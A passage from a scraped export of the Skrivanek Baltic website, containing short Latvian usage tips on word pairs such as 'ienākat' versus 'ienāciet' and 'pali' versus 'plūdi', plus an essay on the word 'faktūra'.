draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā būs pareizi: „Lūdzu, ienākat!” vai „Lūdzu, ienāciet!”? Daudzi valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-24 - Modified: 2025-03-24 - URL: https://skrivanek.lv/ienakat-pret-ienaciet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional IENĀKAT PRET IENĀCIET 1 Kā būs pareizi: „Lūdzu, ienākat! ” vai „Lūdzu, ienāciet! ”? Gan rakstos, gan mutvārdos mēs nereti kļūdāmies darbības vārda izteiksmes izvēlē: daudzskaitlī pavēles izteiksmes vietā lietojam īstenības izteiksmi, piemēram, mēs sakām nevis „Lūdzu, sēdieties! ”, bet gan „Lūdzu, sēžaties! ”. Lai nekļūdītos pavēles izteiksmes daudzskaitļa 2. personas (jūs) darināšanā, jāatceras, ka to veido, pavēles izteiksmes vienskaitļa 2. personas (tu) formai pievienojot izskaņu „-iet” vai „-ieties”: „Lūdzu, apsēdies! ” – „Lūdzu, apsēdieties! ”, „Lūdzu, ienāc! ” – „Lūdzu, ienāciet! ” Īstenības izteiksmē darbības vārdu lietosim, ja vēlamies ko jautāt – „Vai bieži šeit ienākat? – vai, piemēram, izsakām kādu apgalvojumu – „Laimes formula: jūs ienākat kafejnīcā un nopērkat šokolādes kūku. ” Tātad „ienāciet” lietosim izsaukuma teikumos, savukārt „ienākat” – jautājuma un apgalvojuma teikumos. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai veikalos pēc naudas nāk inkasenti vai inkasatori? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-07-24 - Modified: 2022-12-23 - URL: https://skrivanek.lv/inkasents-pret-inkasators/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional INKASENTS PRET INKASATORS 1 Vai veikalos pēc naudas nāk inkasenti vai inkasatori? Personas, kas no iestādēm savāc naudu un nodod bankā, ir inkasenti. Vārda pamatā ir vācu valodas vārds „Inkassant”. Vārds „inkasators” ir rusificēta vārda forma, tāpēc uzskatāma par nevēlamu latviešu valodā. Tātad veikalos un citās iestādēs pēc naudas ierodas inkasenti. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Šī pavasara un vasaras sezonas aktuālā tendence esot spilgtas faktūras. Vai runa ir par reljefiem audumiem, spilgtām formām vai jauniem apģērbu ražotājiem? - Published: 2018-06-05 - Modified: 2025-03-20 - URL: https://skrivanek.lv/spilgti-metelu-rekini/ - Kategorijas: valodas pērles - Translation Priorities: Optional SPILGTI MĒTEĻU RĒĶINI Šī pavasara un vasaras sezonas aktuālā tendence esot spilgtas faktūras. Vai runa ir par reljefiem audumiem, spilgtām formām vai jauniem apģērbu ražotājiem? Vārds „faktūra” latviešu valodā aizgūts no latīņu valodas vārda „factura” ar nozīmi ‘apstrāde, uzbūve’. Franču valodā vārds „facture” pirmajā nozīmē ir ‘rēķins, pavadzīme’. Šāda nozīme sastopama arī citās valodās, piemēram, angļu „facture” (ierastāks gan ir vārds „invoice”), krievu „фактура”, vācu „Faktura”. Arī latviešu valodā vārdu „faktūra” varam lietot, runājot par pavadrēķinu, faktūrrēķinu. Šādas saknes vārda nozīme vairākās valodās arī saistīta ar ražošanu, kaut kā izgatavošanu. Latviešu valodā mums no vēstures labi zināms vārds “manufaktūra” – ‘ražošanas veids (16. –18. gs. ), kam raksturīga darba dalīšana un galvenokārt roku darba izmantošana; uzņēmums, kurā tiek izmantots šāds ražošanas veids’. Nu jau par novecojušu uzskatāma manufaktūras nozīme 'tekstilrūpniecības uzņēmums', piemēram, reiz labi zināma bija „Rīgas manufaktūra”. Arī šī vārda pamatā ir latīņu vārds „manufactum” – 'izgatavots ar rokām’. Latviešu valodā vārda „faktūra” pirmā nozīme ir ‘apdares īpatnību kopums’: piemēram, būvmateriālu veikali piedāvā faktūras krāsas – krāsas, kas piešķir sienai nelīdzenu reljefu (vai noteiktu rakstu), vai palīdz noslēpt pārklājamā materiāla nelīdzenumus. Tāpat sienu apdarei pieejami plastmasas dēlīši ar koka imitācijas faktūru, proti, tie ne tikai izskatās pēc koka, bet taustot arī atgādina koksni. Faktūru varam redzēt un sajust arī dabā – iedomāsimies kaut vai dažādu augu, augļu vai dzīvu radību virsmas, piemēram, valriekstu, gliemežvāku, zivju zvīņas. Faktūru mākslā nosaka materiāls, no kura tiek veidots mākslas darbs, kā arī mākslas darba izpildījums. Tā tēlniecībā mati tiek attēloti raupjāki nekā āda, proti, ādas faktūra ir gludāka. Glezniecībā arī ir redzama un taustāma faktūra – gleznās nereti krāsa tiek klāta reljefi, tiek veidoti speciāli negludumi utt. Aktuālā modes tendence ir apģērbi no dažādu struktūru audumiem, gan arī visādi izšuvumi, taustāmi raksti un spīguļojoši nieciņi – fliteri. Tātad pavasara un vasaras sezonas devīze – vienos ziedos un spīguļos! Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Vai vārdiem „pirmatnējs” un „pirmatnīgs” ir vienāda nozīme? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-05-16 - Modified: 2022-12-22 - URL: https://skrivanek.lv/pirmatnejs-pret-pirmatnigs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PIRMATNĒJS PRET PIRMATNĪGS 1 Vai vārdiem „pirmatnējs” un „pirmatnīgs” ir vienāda nozīme? „Pirmatnējs” – tāds, kas attiecas uz ļoti senu, uz vissenāko attīstības periodu (cilvēces, dabas vēsturē), piemēram, „pirmatnējā sabiedrība”, „pirmatnējā kopiena”. „Pirmatnīgs” – ļoti vienkāršs, nesarežģīts, arī nepilnīgs, piemēram, „pirmatnīgs darba paņēmiens”. Tātad pirmatnējs izsaka laiku (kā „sākotnējs”), pirmatnīgs – vairāk kvalitāti (kā „primitīvs”). Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā zināt, kad lietot vārdu „pali” un kad – „plūdi”? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-05-16 - Modified: 2024-07-15 - URL: https://skrivanek.lv/pali-pret-pludi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PALI PRET PLŪDI 1 Kā zināt, kad lietot vārdu „pali” un kad – „plūdi”? Pali ir ūdens režīma fāze, kas konkrētos klimatiskos apstākļos katru gadu atkārtojas vienā un tajā pašā sezonā un kam raksturīgs gadā lielākais ūdenīgums un palieņu applūšana (Latvijai raksturīgi pavasara pali martā un aprīlī). Plūdi ir teritorijas pārplūšana, ko var izraisīt ne tikai palu ūdeņi, bet arī spēcīgas, ilgstošas lietusgāzes, vētras, dambju pārrāvumi. Līdz ar to secinām, ka palus varam dēvēt arī par plūdiem, savukārt ne visi plūdi būtu dēvējami par paliem. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā atšķirt „licenci” no „sertifikāta”? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-05-16 - Modified: 2025-04-03 - URL: https://skrivanek.lv/licence-pret-sertifikats/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LICENCE PRET SERTIFIKĀTS 1 Kā atšķirt „licenci” no „sertifikāta”? „Licence” ir valsts iestāžu izdota atļauja uzsākt kādu nodarbošanos, tā ir dokumentāri apstiprināta atļauja kaut ko darīt. „Sertifikāts” ir rakstisks kvalifikācijas vai iegūtās izglītības apliecinājums. Tātad vispirms mēs izglītojamies, gūstam prasmes un iemaņas, ko apliecina iegūtais „sertifikāts”, savukārt pēc tam varam iegūt „licenci”, piemēram, uzņēmuma izveidei, lai šīs zināšanas varētu izmantot. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ar ko atšķiras „autoritārs” no „autoritatīva”? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-05-16 - Modified: 2024-10-23 - URL: https://skrivanek.lv/autoritars-pret-autoritativs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AUTORITĀRS PRET AUTORITATĪVS 1 Ar ko atšķiras „autoritārs” no „autoritatīva”? Skaidrojam! „Autoritārs” (piemēram, režīms, vara) ir tāds, kas nepieļauj varas dalīšanu un opozīciju. Autoritāra vadīšana izpaužas kā darbinieku bezierunu paklausības pieprasīšana un to viedokļa neņemšana vērā. Savukārt „autoritatīvs” ir tāds, kam ir autoritāte; tāds, ko pieņem bez iebildumiem. Autoritatīva vara ir sabiedrības vairākuma labprātīgi pieņemta vara. Līdz ar to abiem šiem apzīmējumiem ir arī emocionālā nokrāsa. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ir pusotra gada vecs bērns vai pusotru gadu vecs bērns? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-05-16 - Modified: 2022-12-22 - URL: https://skrivanek.lv/pusotra-gada-vecs-berns-vai-pusotru-gadu-vecs-berns/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PUSOTRA GADA VECS BĒRNS VAI PUSOTRU GADU VECS BĒRNS 1 Vai ir pusotra gada vecs bērns vai pusotru gadu vecs bērns? Daļu skaitļa vārdi, kas radušies, lietvārda saknei „pus-“ saaugot ar kārtas skaitļa vārdu, piemēram, pusotra, pustreša, un ar to saistītais lietvārds lietojams vienskaitļa ģenitīvā (locījumā, kas atbild uz jautājumu kā? ): nopirku pusotra metra lentes, jāiet vēl pustrešas stundas. Tātad teiksim šādi: pusotra gada vecs bērns, pusotras stundas ilgs koncerts. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai līdz uzvarai spēlē pietrūkst divi punkti vai divu punktu? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-05-16 - Modified: 2024-08-21 - URL: https://skrivanek.lv/pietrukst-divi-punkti-pret-pietrukst-divu-punktu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PIETRŪKST DIVI PUNKTI PRET PIETRŪKST DIVU PUNKTU 1 Vai līdz uzvarai spēlē pietrūkst divi punkti vai divu punktu? Ar vārdu „trūkt” līdzīgi kā ar vārdu „daudz” lietojams ģenitīvs: trūkst naudas, daudz draugu. To nosaka šo vārdu sintaktiskā valence, proti, to spēja saistīties ar noteiktu sintaktisku kategoriju vārdu formām. Vārds „trūkt” piesaista vārdu ģenitīvā. Tātad līdz uzvarai pietrūkst divu punktu, pilnai summai pietrūkst viena centa u. tml. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Uzdevums izpildīts pareizi vai korekti? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - Published: 2018-05-16 - Modified: 2024-07-16 - URL: https://skrivanek.lv/pareizi-pret-korekti/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PAREIZI PRET KOREKTI 1 Vai uzdevums izpildīts pareizi vai korekti? Vārdu „pareizi” var attiecināt uz tādu, kurā nav kļūdu, piemēram, pareizi uzrakstīts, pareizi izrēķināts; tāpat „pareizi” var teikt par to, kas atbilst kādām prasībām vai normām: visu uzrakstīt pareizi. Vārds „korekti” ir svešvārds, tas cēlies no latīņu vārda „correctus” ar nozīmi ‘iztaisnots, labots’, un to varam lietot kā vārda „pareizi” sinonīmu: korekti izrēķināts piemērs ir pareizi izrēķināts piemērs; korekti norādīta adrese ir pareizi norādīta adrese. Vārdam „korekti” ir vēl viena nozīme: to lieto, runājot par taktiku, pieklājību – uzvesties korekti nozīmē uzvesties pieklājīgi, situācijai atbilstoši. Tātad korekti izpildīts uzdevums ir pareizi, atbilstoši prasībām izpildīts uzdevums. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Reizēm saīsinājumu rakstām ar lielo, citkārt – ar mazo sākumburtu. Kā zināsim, kurš būs pareizais? Ieskaties un uzzini atbildi! - Published: 2018-05-16 - Modified: 2022-12-22 - URL: https://skrivanek.lv/noteikumi-nr-2/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NOTEIKUMI NR. 2 1 Reizēm saīsinājumu rakstām ar lielo, citkārt – ar mazo sākumburtu. Kā zināsim, kurš būs pareizais? Saīsinājumu ar lielo sākumburtu lieto dokumentu numerācijā skaitļa priekšā, piemēram, komanda Nr. 1, lēmums Nr. 5, savukārt saīsinājums ar mazo sākumburtu rakstāms pēc skaitļa: 8. nr. diegs, žurnāla 7. nr. Tātad rakstīsim šādi: noteikumi Nr. 2; grozījumi Nr. 5 u. tml. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kas ir zelmenis un kas – zelminis? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-05-16 - Modified: 2024-08-06 - URL: https://skrivanek.lv/zelmenis-pret-zelminis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ZELMENIS PRET ZELMINIS 1 Kas ir zelmenis un kas – zelminis? Par zelmeni dēvē sazēlušu (labības, zālāju) lauku – ir rudzu zelmenis, ganību zelmenis utt. Zelminis savukārt sastopams arhitektūrā – tā ir divslīpju jumta noslēdzošā trīsstūrveida ārsiena virs dzegas. Arī šāda veida dekoratīvo elementu virs durvīm vai loga sauc par zelmini (šādā nozīmē lieto arī vārdu „frontons”): ēkas zelminī iebūvēts apļveida logs, baznīcas zelmiņi var tikt rotāti ar dažādām skulptūrām. Tātad priecāsimies par koši zaļo zelmeni Latvijas laukos un novērtēsim smalkos zelmiņus skaistajās ēkās. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai bērns ir 10gadīgs, 10-gadīgs vai desmitgadīgs? Ieskaties un uzzini atbildi! 